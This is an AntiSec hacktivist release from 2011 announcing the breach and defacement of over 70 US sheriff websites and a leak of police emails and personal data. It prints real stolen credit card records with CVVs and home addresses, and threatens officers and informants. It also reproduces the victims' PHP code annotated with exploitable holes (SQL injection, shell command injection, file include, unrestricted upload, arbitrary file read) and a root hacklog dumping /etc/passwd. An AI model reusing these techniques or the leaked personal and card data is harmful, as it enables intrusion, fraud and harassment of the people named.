API tools faq
paste
voice

Shooting Sheriffs Saturday | Official Release Statement

voice
Aug 5th, 2011
45,251
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 167.08 KB | None | 0 0
raw download clone embed print report
  1. `..--.
  2. `:.#antisec#;:
  3. :antisec#anti;+.`
  4. :sec#antisec#a;/:
  5. ntisec#antisec#+a
  6. .ntisec#antisec;:
  7. `-` +#antisec#anti:s/
  8. /.:+:/+.`..` `;+;ec#antisec::+
  9. :.;;+`-./-:` .+:#antisec#anti-++`
  10. `-` -:.``; `:.+.sec#antisec#a: -;-
  11. `; -:::. `-:+..;/:ntisec#an.-` :+``+-
  12. `.+- `./;.- `-/++++:`.:-;tisec#anti++ -s;`/;//-
  13. `-:` .-:- /::+-` :/+;ec#ant;i;/.. ;s:.;:++.:
  14. `/ .:` `;:/` .+..+///:::/:. /:e;c#a:;/+-`
  15. `:+.. .. .:.;n+/++. `---...```` `tisec#an:/:++-
  16. -::-` `.--` -t:./;:ise./.`.. .:+.;;c#antisec#:.;;
  17. +- .::.` .;:.;antisec;.+;;+` .--:;..:.#;antisec;;/
  18. `.` `++-` ./;;#antisec#a;:nt;i+.` ` ;. `-;sec#an:.`
  19. .:. .;-` t+.isec#;a:;:;;nt;i+::.-`` ..:-` .. .;sec#a+:.
  20. --::...; ..;ntise+c;:-` :;.-`:++.+//:- `/ `;#ant;+:
  21. ./:::.: +::isec;#. `an.. .-/.; -tisec/
  22. `.+.::/``/+:#an:;. .ti+` `./;;:`;+ sec#.+`
  23. /anti:;..sec#; .an. `-+.;+::.-.. ti;+:`:;`
  24. /sec#antise/c `#a- ``-;..//+.+:.-. -ntis:::/;
  25. ec#antisec#:+ /a. ////+//./..+++..` `;nti./:`:`
  26. `sec#antisec#/ /;:+///...+:/.//;;;:././+- `;ant+/;`
  27. isec#antis;. `;ec#antisec#antisec#ant:.:;;. :/:-`
  28. isec#antis: -;ec#antisec#antisec#anti;.- .;/
  29. /sec#antise/ c#antisec#antisec#antis.:-` .
  30. /;;ec#an::. tise.`
  31. `+.c#..+` ;+-.;`
  32. `:/:
  33.  
  34. "Alright Dirty, yall boys ready? Bout to turn drive-bys revolutionary"
  35.  
  36. ////////////////////////////////////////////////////////////////////////////////
  37. ## #FREETOPIARY #FREEMERCEDES #FREEBRADLEYMANNING #SHOOTINNGSHERIFFSSATURDAY ###
  38. ### OWN & RM ### OWN & RM ### OWN & RM ### OWN & RM ### OWN & RM ### OWN & RM ##
  39. ////////////////////////////////////////////////////////////////////////////////
  40.  
  41. _ _ __ .__
  42. __| || |__ _____ _____/ |_|__| ______ ____ ____ #anonymous
  43. \ __ / \__ \ / \ __\ |/ ___// __ \_/ ___\ #antisec
  44. | || | / __ \| | \ | | |\___ \\ ___/\ \___ #lulzsec
  45. /_ ~~ _\ (____ /___| /__| |__/____ >\___ >\___ > #freetopiary
  46. |_||_| \/ \/ \/ \/ \/ #SSS
  47.  
  48.  
  49. ////////////////////////////////////////////////////////////////////////////////
  50. ANTISEC DELIVERS OVER 10GB OF PRIVATE POLICE EMAILS, TRAINING FILES, SNITCH INFO
  51. AND PERSONAL INFO IN RETALIATION FOR ANONYMOUS ARRESTS #ShootingSheriffsSaturday
  52. ////////////////////////////////////////////////////////////////////////////////
  53.  
  54. "Missouri Sheriff's Association Executive Director Mick Covington tells KHQA
  55. that the most the hackers got from their organization were email addresses.
  56. Contrary to AntiSec's announcement, there were no critical details like names,
  57. social security numbers or other personal information details on their server
  58. that was hacked." (DOX AND EMAILS DROPPED)
  59. (http://www.connecttristates.com/news/story.aspx?id=646614)
  60.  
  61. "Based upon past releases of information, the content of these releases are
  62. sometimes manipulated and edited in an attempt of embarrass or discredit
  63. government agencies and law enforcement. Also in their release, they threaten to
  64. publish the names of inmates and confidential informants. Informant and other
  65. sensitive data are not kept on the website, and we believe any information that
  66. would be released would be false in an attempt to hinder future investigations
  67. by law enforcement." - Sheriff John Montgomery (MORE DOX DROPPED)
  68. (http://www.baxterbulletin.com/article/20110801/NEWS01/110801001/BC-Sheriff-
  69. Website-hacked?odyssey=tab|topnews|text|FRONTPAGE)
  70.  
  71. "President of the Missouri Sheriff's Association Steve Cox said he thinks the
  72. hackers claim to have more information than they really do. Cox said the group
  73. just wants glory and fame." (DOX AND SSN DROPPED)
  74. (http://www.komu.com/news/update-group-hacks-missouri-sheriff-s-association/)
  75.  
  76. "Sheriff Joe Guy says, "We've not lost any information. There's no, we've not
  77. been hacked. I think that's been a fear. No sensitive information is on that
  78. website anyway." (DOX AND EMAILS DROPPED AGAIN)
  79. http://wdef.com/news/mcminn_county_sheriffs_department_website/08/2011
  80.  
  81. ////////////////////////////////////////////////////////////////////////////////
  82.  
  83. A week after we defaced and destroyed the websites of over 70 law enforcement
  84. agencies, we are releasing a massive amount of confidential information that is
  85. sure to embarass, discredit and incriminate police officers across the US. Over
  86. 10GB of information was leaked including hundreds of private email spools,
  87. password information, address and social security numbers, credit card numbers,
  88. snitch information, training files, and more. We hope that not only will
  89. dropping this info demonstrate the inherently corrupt nature of law enforcement
  90. using their own words, as well as result in possibly humiliation, firings, and
  91. possible charges against several officers, but that it will also disrupt and
  92. sabotage their ability to communicate and terrorize communities.
  93.  
  94. We are doing this in solidarity with Topiary and the Anonymous PayPal LOIC
  95. defendants as well as all other political prisoners who are facing the gun of
  96. the crooked court system. We stand in support of all those who struggle against
  97. the injustices of the state and capitalism using whatever tactics are most
  98. effective, even if that means breaking their laws in order to expose their
  99. corruption. You may bust a few of us, but we greatly outnumber you, and you can
  100. never stop us from continuing to destroy your systems and leak your data.
  101.  
  102. We have no sympathy for any of the officers or informants who may be endangered
  103. by the release of their personal information. For too long they have been using
  104. and abusing our personal information, spying on us, arresting us, beating us,
  105. and thinking that they can get away with oppressing us in secrecy. Well it's
  106. retribution time: we want them to experience just a taste of the kind of misery
  107. and suffering they inflict upon us on an everyday basis. Let this serve as a
  108. warning to would-be snitches and pigs that your leaders can no longer protect
  109. you: give up and turn on your masters now before it's too late.
  110.  
  111. // A TALE OF TWO OWNINGS
  112.  
  113. It took less than 24 hours to root BJM's server and copy all their data to our
  114. private servers. Soon after, their servers were taken down and a news article
  115. came out suggesting they received advance FBI "credible threat" notice of a
  116. "hacking plot". At this point it was too late for them because the stolen files
  117. were gonna get leaked regardless. However we were surprised and delighted to see
  118. that not only did they relaunch a few sites less than a week later, but that
  119. their "bigger, faster server that offers more security" carried over our
  120. backdoors from their original box. This time we were not going to hesitate to
  121. pull the trigger: in less than an hour we rooted their new server and defaced
  122. all 70+ domains while their root user was still logged in and active.
  123.  
  124. We lol'd as we watched the news reports come in, quoting various Sheriffs who
  125. denied that they were ever hacked, that any personal information was stolen,
  126. that they did not store snitch info on their servers. Many lulz have been had as
  127. we taunted the sheriffs by responding to their denials by tweeting teasers
  128. exposing their SSNs, passwords, addresses, and private emails. We also took the
  129. liberty to backdoor their online store and capture a few credit card numbers,
  130. which were used to make involuntary donations to the ACLU, the EFF, the Bradley
  131. Manning Support Network, and more. Despite active FBI investigations and their
  132. additional security measures, they could not stop us from owning their servers,
  133. stealing their identities, and dropping all their data. Two weeks later only a
  134. few of the sites are up with limited functionality as we scared them into
  135. removing any dynamic PHP scripts, forcing them to use static HTML content.
  136.  
  137. A recent DHS bulletin has called us "script kiddies" that lack "any capability
  138. to inflict damage to critical infrastructure" yet we continue to get in and out
  139. of any system we please, destroying and dropping dox on the mightiest of
  140. government systems that are supposed to be protecting their sick nightmare of
  141. "law and order". GIVE UP. You are losing the cyberwar, and the attacks against
  142. the governments, militaries, and corporations of the world will continue to
  143. escalate.
  144.  
  145. Hackers, join us to make 2011 the year of leaks and revolutions.
  146.  
  147. ////////////////////////////////////////////////////////////////////////////////
  148.  
  149. [*] ORIGINAL DEFACEMENT: http://zone-h.org/mirror/id/14515221)
  150. [*] BROWSE THE LEAK: http://vv7pabmmyr2vnflf.onion/ (ON TOR)
  151. http://vv7pabmmyr2vnflf.tor2web.com/ (NOT TOR)
  152.  
  153. [*] DONATE BITCOINS: 18NHixaoQekQJ3y52aBGJJwgBWX9X3myYR
  154.  
  155. The booty contains:
  156.  
  157. [*] Over 300 mail accounts from 56 law enforcement domains
  158. [*] Missouri Sheriff account dump (mosheriffs.com)
  159. 7000+ usernames, passwords, home addresses, phones and SSNs
  160. [*] Online Police Training Academy files
  161. PDFs, videos, HTML files
  162. [*] "Report a Crime" snitch list compilation (60+ entries)
  163. [*] Plesk plaintext server passwords (ftp/ssh, email, cpanel, protected dirs)
  164.  
  165. ////////////////////////////////////////////////////////////////////////////////
  166.  
  167. Over 70 US law enforcement institutions were attacked including:
  168.  
  169. 20jdpa.com, adamscosheriff.org, admin.mostwantedwebsites.net,
  170. alabamasheriffs.com, arkansassheriffsassociation.com,
  171. bakercountysheriffoffice.org, barrycountysheriff.com, baxtercountysheriff.com,
  172. baxtercountysherifffoundation.org, boonecountyar.com, boonesheriff.com,
  173. cameronso.org, capecountysheriff.org, cherokeecountyalsheriff.com,
  174. cityofgassville.org, cityofwynne.com, cleburnecountysheriff.com,
  175. coahomacountysheriff.com, crosscountyar.org, crosscountysheriff.org,
  176. drewcountysheriff.com, faoret.com, floydcountysheriff.org, fultoncountyso.org,
  177. georgecountymssheriff.com, grantcountyar.com, grantcountysheriff-collector.com,
  178. hodgemansheriff.us, hotspringcountysheriff.com, howardcountysheriffar.com,
  179. izardcountyar.org, izardcountysheriff.org, izardhometownhealth.com,
  180. jacksonsheriff.org, jeffersoncountykssheriff.com, jeffersoncountyms.gov,
  181. jocomosheriff.org, johnsoncosheriff.com, jonesso.com, kansassheriffs.org,
  182. kempercountysheriff.com, knoxcountysheriffil.com, lawrencecosheriff.com,
  183. lcsdmo.com, marioncountysheriffar.com, marionsoal.com, mcminncountysheriff.com,
  184. meriwethercountysheriff.org, monroecountysheriffar.com, mosheriffs.com,
  185. mostwantedgovernmentwebsites.com, mostwantedwebsites.net,
  186. newtoncountysheriff.org, perrycountysheriffar.org, plymouthcountysheriff.com,
  187. poalac.org, polkcountymosheriff.org, prairiecountysheriff.org,
  188. prattcountysheriff.com, prentisscountymssheriff.com, randolphcountysheriff.org,
  189. rcpi-ca.org, scsosheriff.org, sebastiancountysheriff.com, sgcso.com,
  190. sharpcountysheriff.com, sheriffcomanche.com, stfranciscountyar.org,
  191. stfranciscountysheriff.org, stonecountymosheriff.com, stonecountysheriff.com,
  192. talladegasheriff.org, tatecountysheriff.com, tishomingocountysheriff.com,
  193. tunicamssheriff.com, vbcso.com, woodsonsheriff.com
  194.  
  195. ////////////////////////////////////////////////////////////////////////////////
  196.  
  197. Stolen Credit Card information from mosheriffs.com online store:
  198.  
  199. Jeremy,Searcy,jeremy@pfimo.com,417-887-3626,MasterCard,5191000109460087,2,2014,
  200. 102,3526 W Nichols,,Springfield,MO,65803
  201.  
  202. Robert,Zoellr,Cabot46@aol.com,954-529-0840,Visa,4388540016715210,11,2012,501,401
  203. E Las Olas Blvd ,Suite 130-143,FT Lauderdale ,FL,33301,571 Elbow Cay
  204. Drive,Camden,Osage Beach,MO,65065
  205.  
  206. Jeffrey,Thomas,chymoda3@aol.com,573-529-1836,MasterCard,5109820390825461,2,2013,
  207. 768,417 North Locust Street,,Richland,MO,65556
  208.  
  209. nathan,vails,dalebud2004@sbcglobal.net,573-225-3010,Visa,4607174190144503,7,2013
  210. ,237,35984 Hwy 25,,malden,MO,63863
  211.  
  212. David,Yingling,dyingling@sbcglobal.net,573-335-5286,MasterCard,5200011252796077,
  213. 5,2014,739,617 Peironnet Drive,,Cape Girardeau,MO,63701
  214.  
  215. Mark,Bell,Mark@jailbaitcyclesandrods.com,417 830
  216. 3410,MasterCard,5441840150712888,5,2012,094,8117 West Farm Road
  217. 168,,Republic,MO,65738
  218.  
  219. ////////////////////////////////////////////////////////////////////////////////
  220. For the Blackhat & DEFCON conferences, we figure yall should hear it straight
  221. from some real black hats. It's time to bust out the old school hacklog and mock
  222. how vulnerable and insecure our enemies in blue really are.
  223. ////////////////////////////////////////////////////////////////////////////////
  224.  
  225. ////////////////////////////////////////////////////////////////////////////////
  226. // CONNECT.PHP
  227. // SAFE_QUERY()... WAY TO MAKE SQL INJECTIONS WORSE BY NOT VALIDATING INPUT ...
  228. // BUT INSTEAD PASSING RAW INPUT TO SHELL_EXEC() ALLOWING COMMAND EXECUTION !!!
  229. ////////////////////////////////////////////////////////////////////////////////
  230.  
  231. <?
  232. $i = 0;
  233. $path = '';
  234. while(!is_file($path."admin/config/classes/dymin_main.php")){
  235. $path .= '../';
  236. $i++;
  237. if($i>10){
  238. $path = '';
  239. break;
  240. }
  241. }
  242. include($path."admin/config/dymin_config.php");
  243.  
  244. function safe_query($query){
  245. if(strpos(getcwd(),'admin')){
  246. shell_exec("echo '".date("Y-m-d H:i:s")."|".$query."' >>
  247. /var/sql_logs/".str_replace("www.","",$_SERVER['HTTP_HOST'].""));
  248. }
  249. $database = DATABASE;
  250. $username = DATABASE_USER;
  251. $password = DATABASE_PASS;
  252. $destination = DATABASE_HOST;
  253. mysql_connect($destination, $username, $password) or die("<br>Unable to
  254. connect to database: <br>". mysql_error());
  255. mysql_select_db($database) or die ("<br> Unable to select
  256. database[$database]: <br>" . mysql_error());
  257. $result = mysql_query($query);
  258. return $result;
  259. }
  260. ?>
  261.  
  262.  
  263. ////////////////////////////////////////////////////////////////////////////////
  264. // VERIFY_LOGIN.PHP
  265. // ITS BEEN A HOT MINUTE SINCE I'VE SEEN ' OR 'a'='a SQL INJECTIONS WORK
  266. // BUT BJM NEVER FAILS TO DELIVER THE MOST OBVIOUS OF VULNERABILITIES
  267. ////////////////////////////////////////////////////////////////////////////////
  268.  
  269. <?php
  270. session_start();
  271. $username = $_GET['username'];
  272. $password = $_GET['password'];
  273.  
  274. include "../config/connect.php";
  275. sleep(2);
  276. $query = "select * from dymin_user where username = '$username' and password =
  277. '$password'";
  278. $result = safe_query($query);
  279.  
  280. $num = mysql_num_rows($result);
  281. if($num == ''){
  282. echo "<img src=\"images/login_deny.gif\">";
  283. }else{
  284. $id = mysql_result($result,0,'id');
  285. $level = mysql_result($result,0,'level');
  286. $_SESSION['user_id'] = $id;
  287. $_SESSION['username'] = $username;
  288. $_SESSION['password'] = $password;
  289. $_SESSION['level'] = $level;
  290. }
  291. ?>
  292.  
  293.  
  294. ////////////////////////////////////////////////////////////////////////////////
  295. // RENAME_FILE.PHP
  296. // PASSING RAW USER-SUPPLIED INPUT TO RENAME AND INCLUDE FUNCTIONS ...
  297. // TWO VULNERABILITIES FOR THE PRICE OF ONE!!
  298. ////////////////////////////////////////////////////////////////////////////////
  299.  
  300. <?
  301. error_reporting(E_ALL);
  302. ini_set('display_errors', '1');
  303. include "../../admin/config/connect.php";
  304.  
  305. $filename = $_POST['name'];
  306. $type = $_POST['type'];
  307. $uploads_dir_path_with_date = '../../uploads/'.date("Ymd").'/';
  308. $uploads_dir_path = '../../uploads/'.date("Ymd").'/';
  309. $uploads_dir_path_no_date = '../../uploads/';
  310. if(!is_file($uploads_dir_path_no_date.'log.txt')){
  311. $fh = fopen("$uploads_dir_path_no_date"."log.txt",'w');
  312. shell_exec("chmod 777 $uploads_dir_path_with_date"."log.txt");
  313. fclose($fh);
  314. }
  315.  
  316. if(!is_dir($uploads_dir_path_with_date)){
  317. mkdir($uploads_dir_path_with_date,'0777');
  318. shell_exec("chmod 777 $uploads_dir_path_with_date");
  319. }
  320. $id = $_GET['id'];
  321.  
  322. $new_name = md5(microtime().$filename.mt_rand(10000, 32000));
  323. rename("$uploads_dir_path_no_date$filename","$uploads_dir_path_with_date$
  324. new_name$type");
  325.  
  326. //write file upload log
  327. $fh = fopen("$uploads_dir_path_no_date"."log.txt",'a');
  328. $log_info = 'DATE: '.date("m-d-Y His")."\t";
  329. $log_info .= 'HTTP_HOST: '.$_SERVER['HTTP_HOST']."\t";
  330. $log_info .= 'REMOTE_ADDR: '.$_SERVER['REMOTE_ADDR']."\t";
  331. $log_info .= 'SCRIPT_FILENAME: '.$_SERVER['SCRIPT_FILENAME']."\t";
  332. $log_info .= 'OLD_FILENAME: '.$filename."\t";
  333. $log_info .= 'NEW_FILENAME: '.$new_name."\t\n";
  334. fwrite($fh,$log_info);
  335. fclose($fh);
  336. unset($fh,$log_info);
  337.  
  338. $file_to_include = $_GET['filename'];
  339.  
  340. include "$file_to_include";
  341. ?>
  342.  
  343. ////////////////////////////////////////////////////////////////////////////////
  344. // UPLOADIFY.PHP
  345. // WAY TO GO, COMMENTING OUT THE FILE EXTENSION VALIDATING CODE
  346. ////////////////////////////////////////////////////////////////////////////////
  347.  
  348. <?php
  349. if (!empty($_FILES)) {
  350. $tempFile = $_FILES['Filedata']['tmp_name'];
  351. $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
  352. $targetFile = str_replace('//','/',$targetPath) .
  353. $_FILES['Filedata']['name'];
  354.  
  355. // $fileTypes = str_replace('*.','',$_REQUEST['fileext']);
  356. // $fileTypes = str_replace(';','|',$fileTypes);
  357. // $typesArray = split('\|',$fileTypes);
  358. // $fileParts = pathinfo($_FILES['Filedata']['name']);
  359.  
  360. // if (in_array($fileParts['extension'],$typesArray)) {
  361. // Uncomment the following line if you want to make the directory if it
  362. doesn't exist
  363. // mkdir(str_replace('//','/',$targetPath), 0755, true);
  364.  
  365. move_uploaded_file($tempFile,$targetFile);
  366. echo "1";
  367. // } else {
  368. // echo 'Invalid file type.';
  369. // }
  370. }
  371. ?>
  372.  
  373. ////////////////////////////////////////////////////////////////////////////////
  374. // SHOW_IMAGE_DOWNLOAD.PHP
  375. // HEY LETS TAKE RAW USER INPUT AND PASS IT TO READFILE() ...
  376. // AT LEAST THEY HAD THE COURTESY OF VERIFYING IS_FILE() FOR US!!!
  377. ////////////////////////////////////////////////////////////////////////////////
  378.  
  379. <? include "config/header.php"; ?>
  380. <?php
  381. $filename = $_GET['filename'];
  382. if(is_file($filename)) {
  383. header("Pragma: public");
  384. header("Expires: 0");
  385. header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
  386. header("Content-Type: application/force-download");
  387. header("Content-Type: application/octet-stream");
  388. header("Content-Type: application/download");
  389. header("Content-Disposition: attachment; filename=".basename($filename).";");
  390. header("Content-Transfer-Encoding: binary");
  391. header("Content-Length: ".filesize($filename));
  392. readfile("$filename");
  393. exit();
  394. }
  395. ?>
  396.  
  397. ////////////////////////////////////////////////////////////////////////////////
  398. // UPLOAD_SCANNER.SH
  399. // UH OH... THEY ARE CLOSING IN ON OUR C99 SHELL!!! PLEASE...
  400. ////////////////////////////////////////////////////////////////////////////////
  401.  
  402. #!/bin/bash
  403. #
  404. # Scan for PHP in upload folders
  405. #
  406. MAILTO="-c galexander@bjmweb.com -c markm@bjmweb.com -c bnewman@bjmweb.com root"
  407. EXCLUDES="-e watermark_wanted_photo.php -e checkimages.php -e
  408. watermark_recalled_photo.php"
  409. lineify (){
  410. for i in $*
  411. do
  412. echo $i
  413. done
  414. }
  415. # testing
  416. #EXCLUDES="numnum"
  417. #MAILTO="jwiegand@bjmweb.com"
  418. #
  419. UHOH=$(/usr/bin/find /var/www/vhosts/*/httpdocs/uploads/*.php | \
  420. grep -v $EXCLUDES)
  421. if [ "${UHOH}xx" != "xx" ]
  422. then
  423. lineify $UHOH | mail -s "Go Daddy - Upload Scanner" $MAILTO
  424.  
  425.  
  426. ////////////////////////////////////////////////////////////////////////////////
  427. // ENOUGH TALK... TIME TO RIDE ON THESE PIG MOTHAFUCKAS !!! BRING ON THE HACKLOG
  428. ////////////////////////////////////////////////////////////////////////////////
  429. $ ls -al /var/www/vhosts/
  430. total 332
  431. drwxr-xr-x 83 root root 4096 Jul 20 11:33 .
  432. drwxr-xr-x 9 root root 4096 Aug 30 2010 ..
  433. drwxr-xr-x 3 root root 4096 Dec 21 2009 .skel
  434. drwxr-xr-x 13 root root 4096 Apr 7 2010 20jdpa.com
  435. drwxr-xr-x 14 root root 4096 Jun 22 10:59 adamscosheriff.org
  436. drwxr-xr-x 13 root root 4096 Nov 30 2010 admin.mostwantedwebsites.net
  437. drwxr-xr-x 13 root root 4096 Nov 30 2010 alabamasheriffs.com
  438. drwxr-xr-x 14 root root 4096 May 3 09:44 arkansassheriffsassociation.com
  439. drwxr-xr-x 13 root root 4096 Nov 30 2010 bakercountysheriffoffice.org
  440. drwxr-xr-x 13 root root 4096 Apr 7 2010 barrycountysheriff.com
  441. drwxr-xr-x 14 root root 4096 Apr 7 2010 baxtercountysheriff.com
  442. drwxr-xr-x 14 root root 4096 Jun 10 09:59 baxtercountysherifffoundation.org
  443. drwxr-xr-x 13 root root 4096 Apr 7 2010 boonecountyar.com
  444. drwxr-xr-x 14 root root 4096 May 10 2010 boonesheriff.com
  445. drwxr-xr-x 13 root root 4096 Nov 30 2010 cameronso.org
  446. drwxr-xr-x 13 root root 4096 Nov 30 2010 capecountysheriff.org
  447. drwxr-xr-x 14 root root 4096 Apr 7 2010 cherokeecountyalsheriff.com
  448. drwxr-xr-x 13 root root 4096 Apr 7 2010 cherokeecountykssheriff.com
  449. drwxr-xr-x 9 root root 4096 Dec 21 2009 chroot
  450. drwxr-xr-x 14 root root 4096 May 19 11:36 cityofgassville.org
  451. drwxr-xr-x 13 root root 4096 Apr 7 2010 cityofwynne.com
  452. drwxr-xr-x 13 root root 4096 Apr 7 2010 cleburnecountysheriff.com
  453. drwxr-xr-x 13 root root 4096 May 26 2010 coahomacountysheriff.com
  454. drwxr-xr-x 13 root root 4096 Apr 7 2010 crosscountyar.org
  455. drwxr-xr-x 14 root root 4096 Apr 7 2010 crosscountysheriff.org
  456. drwxr-xr-x 5 root root 4096 Oct 16 2009 default
  457. drwxr-xr-x 13 root root 4096 Apr 7 2010 drewcountysheriff.com
  458. drwxr-xr-x 13 root root 4096 May 26 2010 faoret.com
  459. drwxr-xr-x 13 root root 4096 Nov 30 2010 floydcountysheriff.org
  460. drwxr-xr-x 14 root root 4096 Mar 24 10:11 fultoncountyso.org
  461. drwxr-xr-x 13 root root 4096 Nov 30 2010 georgecountymssheriff.com
  462. drwxr-xr-x 13 root root 4096 Apr 7 2010 grantcountyar.com
  463. drwxr-xr-x 13 root root 4096 Apr 7 2010 grantcountysheriff-collector.com
  464. drwxr-xr-x 13 root root 4096 Apr 7 2010 hodgemansheriff.us
  465. drwxr-xr-x 13 root root 4096 Apr 7 2010 hotspringcountysheriff.com
  466. drwxr-xr-x 14 root root 4096 Oct 19 2010 howardcountysheriffar.com
  467. drwxr-xr-x 13 root root 4096 Apr 7 2010 izardcountyar.org
  468. drwxr-xr-x 13 root root 4096 Apr 7 2010 izardcountysheriff.org
  469. drwxr-xr-x 13 root root 4096 Apr 7 2010 izardhometownhealth.com
  470. drwxr-xr-x 13 root root 4096 Apr 7 2010 jacksonsheriff.org
  471. drwxr-xr-x 14 root root 4096 Jun 30 2010 jeffersoncountykssheriff.com
  472. drwxr-xr-x 14 root root 4096 Feb 4 16:03 jeffersoncountyms.gov
  473. drwxr-xr-x 14 root root 4096 Apr 7 2010 jocomosheriff.org
  474. drwxr-xr-x 13 root root 4096 Apr 7 2010 johnsoncosheriff.com
  475. drwxr-xr-x 14 root root 4096 Jun 11 2010 jonesso.com
  476. drwxr-xr-x 14 root root 4096 Jun 24 16:36 kansassheriffs.org
  477. drwxr-xr-x 13 root root 4096 May 26 2010 kempercountysheriff.com
  478. drwxr-xr-x 13 root root 4096 Nov 30 2010 knoxcountysheriffil.com
  479. drwxr-xr-x 14 root root 4096 Apr 7 2010 lawrencecosheriff.com
  480. drwxr-xr-x 15 root root 4096 Jun 8 08:55 lcsdmo.com
  481. drwxr-xr-x 14 root root 4096 Jan 26 09:40 marioncountysheriffar.com
  482. drwxr-xr-x 13 root root 4096 Nov 30 2010 marionsoal.com
  483. drwxr-xr-x 13 root root 4096 Apr 7 2010 mcminncountysheriff.com
  484. drwxr-xr-x 13 root root 4096 Nov 30 2010 meriwethercountysheriff.org
  485. drwxr-xr-x 13 root root 4096 May 26 2010 monroecountysheriffar.com
  486. drwxr-xr-x 13 root root 4096 Apr 7 2010 mosheriffs.com
  487. drwxr-xr-x 13 root root 4096 Apr 7 2010 mostwantedgovernmentwebsites.com
  488. drwxr-xr-x 13 root root 4096 Apr 7 2010 mostwantedwebsites.net
  489. drwxr-xr-x 13 root root 4096 Apr 7 2010 newtoncountysheriff.org
  490. drwxr-xr-x 13 root root 4096 Nov 30 2010 perrycountysheriffar.org
  491. drwxr-xr-x 13 root root 4096 Apr 7 2010 plymouthcountysheriff.com
  492. drwxr-xr-x 14 root root 4096 Apr 21 08:36 poalac.org
  493. drwxr-xr-x 13 root root 4096 Apr 7 2010 polkcountymosheriff.org
  494. drwxr-xr-x 14 root root 4096 Dec 9 2010 prairiecountysheriff.org
  495. drwxr-xr-x 15 root root 4096 Jun 1 2010 prattcountysheriff.com
  496. drwxr-xr-x 14 root root 4096 Jun 10 13:49 prentisscountymssheriff.com
  497. drwxr-xr-x 13 root root 4096 Nov 30 2010 randolphcountysheriff.org
  498. drwxr-xr-x 14 root root 4096 May 6 09:25 rcpi-ca.org
  499. drwxr-xr-x 13 root root 4096 Apr 7 2010 scsosheriff.org
  500. drwxr-xr-x 13 root root 4096 Apr 7 2010 sebastiancountysheriff.com
  501. drwxr-xr-x 13 root root 4096 Nov 30 2010 sgcso.com
  502. drwxr-xr-x 13 root root 4096 Apr 7 2010 sharpcountysheriff.com
  503. drwxr-xr-x 14 root root 4096 Mar 23 11:41 sheriffcomanche.com
  504. drwxr-xr-x 14 root root 4096 Jun 6 13:54 stfranciscountyar.org
  505. drwxr-xr-x 14 root root 4096 Nov 30 2010 stfranciscountysheriff.org
  506. drwxr-xr-x 14 root root 4096 Nov 30 2010 stonecountymosheriff.com
  507. drwxr-xr-x 14 root root 4096 Oct 27 2010 stonecountysheriff.com
  508. drwxr-xr-x 14 root root 4096 Jun 9 11:51 talladegasheriff.org
  509. drwxr-xr-x 13 root root 4096 Apr 7 2010 tatecountysheriff.com
  510. drwxr-xr-x 13 root root 4096 Nov 30 2010 tishomingocountysheriff.com
  511. drwxr-xr-x 13 root root 4096 Apr 7 2010 tunicamssheriff.com
  512. drwxr-xr-x 14 root root 4096 Apr 7 2010 vbcso.com
  513. drwxr-xr-x 13 root root 4096 May 26 2010 woodsonsheriff.com
  514.  
  515. // DAMN THATS A LOT OF DOMAINS... TOO BAD ZONE-H MASS DEFACEMENT NOTIFICATION
  516. // FORM ONLY ALLOWS YOU TO SUBMIT 10 PER REQUEST... GONNA TAKE FOREVER
  517.  
  518. $ cat /etc/passwd
  519. root:x:0:0:root:/root:/bin/bash
  520. bin:x:1:1:bin:/bin:/sbin/nologin
  521. daemon:x:2:2:daemon:/sbin:/sbin/nologin
  522. adm:x:3:4:adm:/var/adm:/sbin/nologin
  523. lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  524. sync:x:5:0:sync:/sbin:/bin/sync
  525. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  526. halt:x:7:0:halt:/sbin:/sbin/halt
  527. mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  528. news:x:9:13:news:/etc/news:
  529. uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
  530. operator:x:11:0:operator:/root:/sbin/nologin
  531. games:x:12:100:games:/usr/games:/sbin/nologin
  532. gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
  533. ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
  534. nobody:x:99:99:Nobody:/:/sbin/nologin
  535. rpm:x:37:37::/var/lib/rpm:/sbin/nologin
  536. dbus:x:81:81:System message bus:/:/sbin/nologin
  537. mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
  538. smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
  539. nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
  540. vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
  541. rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
  542. rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
  543. nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
  544. sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
  545. pcap:x:77:77::/var/arpwatch:/sbin/nologin
  546. haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
  547. webdept:x:500:500::/home/webdept:/bin/bash
  548. avahi:x:70:70:Avahi daemon:/:/sbin/nologin
  549. avahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
  550. named:x:25:25:Named:/var/named:/sbin/nologin
  551. xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
  552. apache:x:48:48:Apache:/var/www:/sbin/nologin
  553. distcache:x:94:94:Distcache:/:/sbin/nologin
  554. mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
  555. ntp:x:38:38::/etc/ntp:/sbin/nologin
  556. sw-cp-server:x:501:501::/:/bin/true
  557. psaadm:x:502:502:Plesk user:/usr/local/psa/admin:/sbin/nologin
  558. popuser:x:110:31:POP3 service user:/var/qmail/popuser:/sbin/nologin
  559. mhandlers-user:x:30:31:mail handlers user:/:/sbin/nologin
  560. webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin
  561. psaftp:x:503:504:anonftp psa user:/:/sbin/nologin
  562. alias:x:2021:2020:Qmail User:/var/qmail/alias:/sbin/nologin
  563. qmaild:x:2020:2020:Qmail User:/var/qmail/:/sbin/nologin
  564. qmaill:x:2022:2020:Qmail User:/var/qmail/:/sbin/nologin
  565. qmailp:x:2023:2020:Qmail User:/var/qmail/:/sbin/nologin
